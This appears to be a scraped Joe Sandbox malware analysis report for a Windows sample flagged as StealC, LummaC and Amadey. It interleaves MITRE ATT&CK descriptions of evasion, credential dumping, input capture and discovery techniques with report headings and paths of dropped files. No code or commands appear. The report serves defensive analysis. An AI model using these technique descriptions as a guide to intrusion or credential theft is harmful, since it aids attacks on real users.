Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_e85b81c8-18b4-4550-809a-85196b54f80a.json (copy)

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_e85b81c8-18b4-4550-809a-85196b54f80a.json.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe

C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre